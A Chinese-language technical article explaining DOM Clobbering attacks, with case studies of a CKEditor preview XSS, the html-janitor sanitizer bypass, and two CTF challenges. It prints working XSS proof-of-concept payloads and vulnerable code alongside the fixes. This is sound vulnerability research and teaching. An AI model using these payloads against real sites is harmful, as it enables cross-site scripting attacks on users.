DOM Clobbering Attack

  1. 0x01 DOM Clobbering 简介
  2. 0x02 CKEditor DOM Clobbering lead to XSS
  3. 0x02 DOM Clobbering lead to html-janitor (Node.js third-party module) XSS
  4. 0x03 先知XSS挑战赛 Frame Buster
  5. 0x04 TCTF Bl0g - DOM Clobbering lead to XSS
  6. 0x05 参考

author: Dlive

0x01 DOM Clobbering 简介

DOM Clobbering顾名思义是和DOM相关的一种攻击方式

DOM最初诞生的时候没有一个很好的标准,以至于各个浏览器在实现的过程中会支持DOM的一些怪异行为

而这些行为可能会导致DOM Clobbering的发生

浏览器可能会将各种DOM元素的name和id属性添加为document的属性或页面的全局变量

这会导致覆盖掉document原有的属性或全局变量,或者劫持一些变量的内容

注:这种攻击方式在不同浏览器下的表现形式可能有所不同,本文的测试环境如果未做特殊说明则默认为Chrome 65.0.3325.181

我们先来看几个简单的例子,通过这几个例子理解DOM Clobbering的原理,然后再通过几个案例讲解DOM Clobbering在真实环境下的危害

案例1

id属性的值被当做全局变量
name属性的值被当做document的属性

案例2

通过name属性覆盖document中的内置方法

案例3

通过标签的层级关系构造变量的层级关系

下面将分析几个例子来展示DOM Clobbering在真实环境中的危害

0x02 CKEditor DOM Clobbering lead to XSS

CKEdior是一个著名的富文本编辑器

下面的案例是CKEdior老版本中曾经存在的一个XSS漏洞,这里直接提取出存在漏洞的代码做演示

test.html

1
2
<a href="#<svg onload=alert(1)>" id="_cke_htmlToLoad"></a>
<a href="vuln.html" target="_blank" id="_c">XSS ME!</a>

ckeditor’s vuln.html (原文件为/plugins/preview/preview.html)

1
2
3
4
5
6
7
8
9
10
<script>

var doc = document;
doc.open();
doc.write( window.opener._cke_htmlToLoad ); // << Vulnerable code
doc.close();

delete window.opener._cke_htmlToLoad;

</script>

当我们点击攻击者构造的页面中的链接XSSME后,跳转到存在漏洞的页面进而触发XSS
(测试环境:Safari 11.0.3 )

我们来分析一下这个xss触发的原因

在vuln.html中获取了opener的_cke_htmlToLoad变量,也就是test.html中的_cke_htmlToLoad变量

然后调用document.write写入页面

而_cke_htmlToLoad被我们所控制,window.opener._cke_htmlToLoad获取到的内容其实是a标签节点对象

在document.write时自动调用了该对象的toString方法,将对象转为字符串后写入页面

a标签toString后的值为a标签的href内容,所以攻击者控制的payload被写入页面,导致了XSS

这个利用方式目前在Chrome、Firefox上是无法使用的

因为在这两个浏览器中window.opener._cke_htmlToLoad.toString得到的内容是URL编码过的

也就是说payload<svg onload=alert(1)>被编码为了%3Csvg%20onload=alert(1)%3E

关于这个漏洞CKEdior的修复方式也非常简单,因为攻击者传递的值是object类型

所以修复代码里直接判断了_cke_htmlToLoad的值是否是字符串类型

代码如下(https://github.com/galetahub/ckeditor/blob/master/vendor/assets/javascripts/ckeditor/plugins/preview/preview.html)

1
2
3
4
5
6
7
8
9
10
<script>
// Prevent from DOM clobbering.
if ( typeof window.opener._cke_htmlToLoad == 'string' ) {
var doc = document;
doc.open();
doc.write( window.opener._cke_htmlToLoad );
doc.close();
delete window.opener._cke_htmlToLoad;
}
</script>

0x02 DOM Clobbering lead to html-janitor (Node.js third-party module) XSS

CVE-2017-0928 https://hackerone.com/reports/308158

html-janitor是nodejs的一个第三方模块,它提供了清理不在白名单中的html标签及其属性的功能

因为这个模块在代码实现的过程中操作了document,我们使用devtool来调试他

devtool调试:https://github.com/sqrthree/sqrthree.github.io/issues/8

正常代码示例

1
2
3
4
5
var HTMLJanitor = require('html-janitor')

var myJanitor = new HTMLJanitor({tags:{p:{}}});
var cleanHtml = myJanitor.clean("<form><form><object onmouseover=alert(document.domain)></object></form></form>")
console.log(cleanHtml)

按照html-janitor所预期的功能,非p标签的标签内容会被过滤掉,所以上面的html代码会过滤后得到的内容为空字符串

漏洞代码示例 main.js

1
2
3
4
5
6
var HTMLJanitor = require('html-janitor')

# 仅允许p标签,过滤掉其他不符合条件的标签
var myJanitor = new HTMLJanitor({tags:{p:{}}});
var cleanHtml = myJanitor.clean("<form><object onmouseover=alert(document.domain) name=_sanitized></object></form>")
console.log(cleanHtml)

上面html代码被myJanitor.clean过滤后得到的内容为<form><object onmouseover=alert(document.domain) name=_sanitized></object></form>导致XSS攻击

我们可以调试一下html-janitor.js,看看它是如何处理漏洞代码示例中的html的

我们可以看到如下代码,首先获取html代码最外层标签form object并赋值到node

然后判断node._sanitized是否为true,如果为true则无需过滤,为false的话进入下面的过滤代码

对于<form><object onmouseover=alert(document.domain) name=_sanitized></object></form>这段代码来说

node._sanitized为object标签dom对象,所以直接跳过了过滤代码,导致了过滤失效,进而导致了XSS漏洞

这个模块还有另外一个漏洞,比较简单,不再细说

https://hackerone.com/reports/308155

0x03 先知XSS挑战赛 Frame Buster

https://xz.aliyun.com/t/83/

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
header("X-XSS-Protection: 0");
$page=strtolower($_GET["page"]);
$regex="/on([a-zA-Z])+/i";
$page=str_replace("style","_",$page);
?>
<html>
<head>
<meta charset=utf-8>
</head>
<body>
<form action='xss15.php?page=<?php
if(preg_match($regex,$page))
{
echo "XSS Detected!";
}
else
{
echo htmlspecialchars($page);
}
?>'></form>
<script>
if(top!=self){
location=self.location
}
</script>
</body>
</html>

这题是通过DOM Clobbering覆盖self.location来达到xss的效果

但是在高版本的浏览器中,一些页面关键变量无法被覆盖,如self、document、window

但在低版本IE中,self.location是可以被覆盖的,exp如下

1
2
<meta http-equiv=x-ua-compatible content=IE=8>
<iframe src="http://xianzhi.aliyun.com/xss15.php?page=1'name=self location='javascript%3Aalert(document.domain)"></iframe>

0x04 TCTF Bl0g - DOM Clobbering lead to XSS

这个案例首先使用<script>标签闭合优先级,使得页面引入的一个js中定义的变量失效

然后通过DOM Clobbering劫持该变量来控制变量内容进而进行XSS,具体利用见

《TCTF Bl0g Bypass CSP strict-dynamic & Hijack JS Variable》

0x05 参考

  1. https://jibbering.com/faq/names/

  2. http://www.thespanner.co.uk/2013/05/16/dom-clobbering/

  3. https://www.slideshare.net/x00mario/in-the-dom-no-one-will-hear-you-scream

  4. https://www.blackhat.com/docs/us-15/materials/us-15-Nafeez-Dom-Flow-Untangling-The-DOM-For-More-Easy-Juicy-Bugs.pdf

  5. https://www.owasp.org/images/a/ae/Advanced_XSS.pdf

  6. https://hackerone.com/reports/308158

  7. https://www.youtube.com/watch?v=5W-zGBKvLxk

  8. https://bounty.github.com/researchers/avlidienbrunn.html#javascript-namespace-clobbering-20140311